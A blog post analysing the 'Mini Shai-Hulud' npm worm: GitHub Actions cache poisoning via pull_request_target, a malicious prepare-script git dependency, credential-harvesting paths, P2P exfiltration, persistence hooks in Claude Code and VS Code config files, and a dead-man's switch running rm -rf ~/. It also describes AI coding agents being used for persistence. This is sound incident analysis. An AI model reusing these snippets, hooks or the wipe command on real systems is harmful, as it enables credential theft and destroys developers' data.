bouzaiene.org
back to blog
·12 min

Post-Exploitation in AI Coding Agents: GitHub Actions Exploitation as the Launchpad for Open-Source Supply-Chain Worms – The Mini Shai-Hulud Campaign (May 2026)

Complete technical deep-dive into the Mini Shai-Hulud supply-chain worm: every layer of the GitHub Actions cache poisoning attack, how the worm achieved persistent post-exploitation inside Claude Code and VS Code, credential stealing, dead-man’s switch, self-propagation, and why AI 'vibe coding' has become a dangerous new attack surface.

On May 11, 2026, between approximately 19:20 and 19:26 UTC, an attacker published 84 malicious versions across 42 official @tanstack/* npm packages (including @tanstack/react-router, @tanstack/router-core, @tanstack/history, and many others). These packages are extremely popular — some exceed 12 million weekly downloads — and are foundational dependencies in thousands of modern web applications.

Within hours, the malware self-propagated into a full worm campaign, compromising over 169 packages and 373+ malicious versions across npm and some PyPI packages. High-profile projects hit include OpenSearch, Mistral AI, Guardrails AI, UiPath, Squawk, and several SAP developer tools.

This campaign, dubbed Mini Shai-Hulud by researchers and attributed to the threat actor TeamPCP, is a true autonomous supply-chain worm. It combines sophisticated GitHub Actions exploitation, cache poisoning, credential harvesting, self-propagation, anonymous exfiltration, editor-based persistence, and a destructive dead-man’s switch.

Most alarmingly, it was deliberately engineered to survive npm uninstall, node_modules deletion, and even full project cleanups by weaponizing the exact tools that “vibe coders” and AI-assisted developers rely on daily: Claude Code, Cursor, VS Code tasks, and other AI coding agents.

Attack Chain: Step-by-Step Breakdown (The Full Kill Chain)

The Mini Shai-Hulud campaign unfolded in a precise, layered sequence that turned a single unmerged PR into a self-sustaining, persistent infection across the open-source ecosystem:

  1. Malicious PR Creation
    The attacker opens PR #7378 in the TanStack/router repository, introducing the file packages/history/vite_setup.mjs — a ~2.3 MB cache-poisoning script.

  2. Runner Executes with Full Repository Credentials
    TanStack’s bundle-size.yml workflow uses the dangerous pull_request_target trigger. This allows untrusted fork code to run inside a trusted GitHub runner with full repository permissions and shared cache access.

  3. GitHub Actions Cache Poisoning
    vite_setup.mjs overwrites the post-checkout hook of actions/checkout, abuses internally injected GitHub cache credentials (ACTIONS_CACHE_URL and ACTIONS_RUNTIME_TOKEN), and uploads a fully poisoned 1.1 GB pnpm content-addressable store using the exact cache key the release workflow expects.

  4. Poisoned Release and Publication of Malicious Packages
    When legitimate maintainers push to main, the release.yml workflow restores the poisoned cache. pnpm install --frozen-lockfile uses backdoored package contents, embedding the real worm into 84 new versions of @tanstack/* packages, which are then published to npm with valid SLSA provenance in a 6-minute window.

  5. Initial Infection on Victim Machines
    Developers, CI/CD pipelines, and automated update systems install the malicious package versions through normal npm install, pnpm install, or dependency updates.

  6. Worm Activation
    The malicious packages use an optionalDependencies git dependency trick (@tanstack/setup) whose prepare script downloads the Bun runtime and executes the heavily obfuscated router_init.js worm payload.

  7. Self-Propagation (Autonomous Worm Behavior)
    The worm uses stolen GitHub and npm tokens to identify other packages the current maintainer owns, injects itself into them, bumps versions, and publishes new malicious packages across npm and sometimes PyPI — creating exponential spread.

  8. Credential Harvesting
    The worm aggressively collects GitHub tokens (including OIDC minting and runner memory scraping), npm tokens from .npmrc, cloud provider credentials (AWS IMDS, GCP, Azure), Kubernetes service account tokens, Vault tokens, SSH keys, and AI tooling API keys (Claude, Mistral, etc.).

  9. Data Exfiltration
    Stolen credentials are encrypted and sent primarily through the anonymous Session P2P network (filev2.getsession.org). A fallback mechanism commits the data to GitHub repositories using the victim’s own stolen token under the author claude@users.noreply.github.com.

  10. Dead-Man’s Switch Installation
    The worm deploys a persistent monitor (gh-token-monitor.sh as a systemd service or LaunchAgent) that polls the GitHub API every 60 seconds. If the stolen token is revoked, it can trigger a destructive rm -rf ~/ (home directory wipe).

  11. Persistence Inside AI Coding Agents and Editors
    It creates/modifies .claude/router_runtime.js and .claude/settings.json (adding a SessionStart hook) and .vscode/tasks.json (with folderOpen trigger). This ensures the payload re-executes every time the developer opens the project in Claude Code or VS Code.

  12. Git Repository Infection and Further Propagation
    Using stolen tokens, the worm commits the persistence files (.claude/ and modified .vscode/) back into the victim’s git repository with innocent-looking commits. This allows the infection to spread silently to teammates and anyone who clones the repo and opens it with AI coding tools.

Mini Shai-Hulud attack flow: from malicious PR through GitHub Actions cache poisoning, npm publication, developer infection, and persistent editor hooks

Mini Shai-Hulud full attack chain

Background: The Shai-Hulud Malware Family (2025–2026 Evolution)

The original Shai-Hulud worm appeared in September 2025, compromising over 180 npm packages. It used postinstall hooks, credential theft via TruffleHog-style scanning, and self-propagation via stolen npm/GitHub tokens.

Subsequent waves (“Second Coming” in November 2025, SANDWORM_MODE in February 2026, and several Mini variants in April 2026) refined the playbook:

  • Shifted to preinstall / prepare lifecycle scripts.
  • Introduced Bun runtime smuggling to bypass Node.js-focused EDR tools.
  • Added heavier obfuscation (javascript-obfuscator + custom layers).
  • Expanded persistence into GitHub Actions workflows and AI coding tool configs.
  • Introduced destructive fallbacks (home-directory wipes).

Mini Shai-Hulud is the most surgically targeted evolution yet: smaller initial footprint, laser focus on AI developer tooling, and persistence that lives in Claude Code and VS Code dotfiles rather than relying solely on npm lifecycle hooks.

Root Cause: GitHub Actions “Pwn Request” + Cache Poisoning (The TanStack Compromise)

This was not a maintainer account takeover or stolen npm token. The attackers used a well-known, public technique called Cacheract (originally documented by researcher Adnan Khan in 2024) to poison TanStack’s build cache.

The malicious PR: https://github.com/TanStack/router/pull/7378

  • Opened by GitHub user zblgg (fork renamed zblgg/configuration to blend in).
  • Title: “WIP: simplify history build”.
  • Branch: fix/history-package.

Timeline inside the PR:

  1. Attacker added commit 65bf499d containing packages/history/vite_setup.mjs (~2.3 MB, ~30,000 lines of JavaScript).
  2. TanStack’s bundle-size.yml workflow used the dangerous pull_request_target trigger. This runs fork code with the full permissions and cache scope of the base repository.
  3. The job checked out refs/pull/7378/merge (attacker’s code) and executed the build step (pnpm nx run @benchmarks/bundle-size:build).
  4. The attacker had modified the history package’s build script so vite_setup.mjs executed early.

What vite_setup.mjs actually did (the cache poisoner):

  • It waited for the normal pnpm install to populate a legitimate store.
  • It clobbered the post-checkout hook of actions/checkout@v4/v6 (the script that GitHub Actions automatically runs at the end of the job).
  • Using GitHub-injected environment variables that bypass workflow permissions: blocks (ACTIONS_CACHE_URL and ACTIONS_RUNTIME_TOKEN), it saved a fully poisoned 1.1 GB pnpm content-addressable store under the exact cache key the legitimate release.yml workflow uses:
Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
  • The poisoned store contained backdoored versions of the @tanstack/* packages, including the real worm payload.

The attacker then force-pushed the PR branch back to exactly match main (making the PR show “0 changes” and the malicious file disappear), closed it, and deleted the branch. The poisoned cache sat undetected for ~8 hours.

When legitimate maintainers later pushed to main, release.yml restored the poisoned cache → pnpm install --frozen-lockfile used the backdoored tarballs → the worm executed inside the trusted CI runner → OIDC token extracted from /proc/<Runner.Worker PID>/mem → 84 malicious versions published directly to npm with valid SLSA provenance in just 6 minutes.

Infection Vector: How the Worm Reaches Developer and CI Machines

Every malicious @tanstack/* package contained two critical changes:

  • A hidden root file: router_init.js (2.3 MB, SHA-256: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c).
  • An optionalDependencies entry in package.json:
{
  "optionalDependencies": {
    "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  }
}

The @tanstack/setup git dependency (an orphan commit) contained:

{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

During npm install / pnpm install / yarn install:

  1. The prepare lifecycle script runs automatically.
  2. It downloads the Bun runtime (evading Node/EDR).
  3. Executes the obfuscated router_init.js.
  4. The install appears to succeed (the exit 1 is silent for optional deps).

The Worm Payload: router_init.js — Technical Capabilities

After three layers of deobfuscation (string-array rotation, control-flow flattening, PBKDF2-derived AES-256-GCM), the payload reveals a multi-threaded credential stealer, propagator, and persistence engine.

Credential harvesting (parallel collectors):

  • GitHub tokens: Scans process.env, ~/.git-credentials, ~/.config/gh/hosts.yml, ~/.netrc; mints fresh OIDC tokens in CI; scrapes Runner.Worker process memory.
  • npm tokens: Regex on all .npmrc files and NPM_TOKEN / NODE_AUTH_TOKEN env vars.
  • Cloud metadata: AWS IMDS (169.254.169.254), GCP metadata service, Azure IMDS; reads ~/.aws/credentials, ~/.azure/, etc.
  • Kubernetes / Vault / SSH: Standard paths (/var/run/secrets/kubernetes.io/serviceaccount/token, ~/.vault-token, ~/.ssh/id_*).
  • AI tooling configs: Explicitly scans 100+ paths for Claude Code, Cursor, VS Code, Mistral, OpenAI keys.

Self-propagation

  • Uses stolen npm/GitHub tokens to enumerate maintainable packages.
  • Bumps versions, injects the same worm, and republishes.

Exfiltration

  • Primary: Session P2P network (encrypted via filev2.getsession.org, recipient ID hardcoded).
  • Fallback: Creates/commits to GitHub repos under the victim’s account as claude@users.noreply.github.com with Dune-themed branches (“A Mini Shai-Hulud has Appeared”).

Persistence Mechanisms (Why npm uninstall Does Nothing)

This is the most insidious layer:

  • Drops .claude/router_runtime.js, .claude/setup.mjs.
  • Modifies/creates .claude/settings.json with a SessionStart hook that re-executes the payload every time a Claude Code / Anthropic AI session begins in the project.
  • Modifies .vscode/tasks.json with a task that runs on folderOpen.
  • The worm can commit these dotfiles to git using stolen tokens (innocent-looking commits by “claude”).

Dead-Man’s Switch

  • Installs ~/.local/bin/gh-token-monitor.sh (Linux systemd user service) or equivalent LaunchAgent on macOS.
  • Polls api.github.com/user every 60 seconds with a stolen token.
  • On HTTP 40x (token revoked) → rm -rf ~/ (full home-directory wipe).

Scale and Current Impact (as of May 12, 2026)

  • Initial TanStack window: tens of thousands of installs likely occurred before detection.
  • Total: 169+ packages / 373+ versions.
  • The worm is still alive on many laptops and CI runners because of the Claude/VS Code hooks. Once a repo’s dotfiles are poisoned and committed, every new clone + AI session re-infects developers.

How the Payload Evades macOS and Windows Antivirus Without Requiring Root

One of the most surprising aspects of Mini Shai-Hulud is that it achieved broad persistence and data exfiltration while operating entirely with the permissions of a normal user account — no root or administrator privileges were ever requested.

User-space only techniques

The worm never attempts to:

  • Install kernel extensions or drivers
  • Write to protected system directories (/System, C:\Windows, HKLM)
  • Request Full Disk Access on macOS or trigger UAC prompts on Windows

All credential harvesting targets paths that any regular user can already read:

  • ~/.git-credentials, ~/.config/gh/hosts.yml, ~/.npmrc
  • process.env and in-memory environment variables
  • Project-local .claude/ and .vscode/ folders
  • Standard SSH keys in ~/.ssh/

macOS evasion

On macOS the payload:

  • Downloads the Bun runtime on first execution into a temporary user-writable location
  • Uses heavily obfuscated JavaScript that defeats static signature scanners
  • Persists via a user-level LaunchAgent (~/Library/LaunchAgents/) instead of a system daemon
  • Reads only files inside the user’s home directory — macOS does not require special entitlements for these locations

Windows evasion

On Windows the equivalent behavior is achieved by:

  • Using the same Bun + obfuscated JS approach (no native binaries that trigger Windows Defender ML models)
  • Writing persistence to the user’s %APPDATA% or Startup folder rather than requiring Program Files or registry elevation
  • The dead-man’s switch monitor runs as a regular user process

Exfiltration that looks legitimate

Data is sent in two ways that blend with normal developer activity:

  1. Encrypted blobs over the Session P2P network (no direct C2 servers)
  2. Git commits authored by claude@users.noreply.github.com pushed with the victim’s own token — these look like routine AI-assisted commits

Because the worm never escalates privileges, it leaves almost no forensic artifacts that typical EDR or antivirus solutions flag as suspicious.

Was this worm developed with AI assistance?

The sheer number of independent public techniques that were successfully chained — Cacheract cache poisoning, Bun runtime smuggling, multi-layer JavaScript obfuscation, editor-specific persistence hooks for Claude Code and VS Code, anonymous P2P exfiltration, and a functional dead-man’s switch — is remarkable.

One has to wonder whether large portions of this campaign were developed, refined, or even largely generated by AI coding agents. The ability to rapidly prototype, obfuscate, and test cross-platform evasion chains is exactly the kind of workflow that modern AI-assisted development excels at. If that is the case, Mini Shai-Hulud may be the first widely observed example of an autonomous supply-chain worm that was itself “vibe coded.”

Reflections on the Attack and the Dangers of “Vibe Coding”

This campaign represents a terrifying maturation of supply-chain attacks. It no longer needs to steal maintainer credentials — it exploits trusted CI/CD trust boundaries (pull_request_target + shared caches) that thousands of repos still use. The technique is public (Cacheract POC from 2024), reproducible, and devastatingly effective.

But the most concerning aspect is the deliberate targeting of AI-assisted “vibe coding” workflows. Attackers are not just stealing tokens; they are embedding themselves into the AI coding loop itself. Claude Code, Cursor, Windsurf, and similar tools are increasingly how developers “vibe” — keeping an always-on AI agent that edits code, runs tasks, manages git, and thinks out loud. The worm’s .claude/settings.json hook turns that trusted AI session into a persistent infection vector.

Why vibe coding is now dangerous:

  • AI tools blur the line between “code” and “configuration.” A poisoned settings file feels like part of your editor, not malware.
  • The AI often has git access and can be tricked (or silently instructed) to commit the persistence files.
  • Developers using AI agents rarely audit dotfiles or run npm ls or git log --author=claude.
  • The attack surface has moved from the terminal to the AI chat window — and attackers are already there.

In short, Mini Shai-Hulud is not just another npm incident. It is a warning that the combination of weak GitHub Actions defaults + self-propagating worms + AI-first development creates a perfect storm. The ecosystem must harden CI/CD (avoid pull_request_target, pin caches with github.sha, use isolated runners) and developers must treat AI coding tools with the same suspicion they now give npm packages.

If you use TanStack Router, Claude Code, or any AI-assisted IDE, audit your repos today for .claude/ and suspicious .vscode/tasks.json. Rotate credentials only after hunting the gh-token-monitor service. The worm is still out there — and it is waiting for the next time you open a project and start vibing with Claude.

Stay safe, rotate carefully, and remember: in 2026, the most dangerous code may not be the code you write — it may be the AI session you trust.

if this was useful

I post short notes like this when I learn something building agents.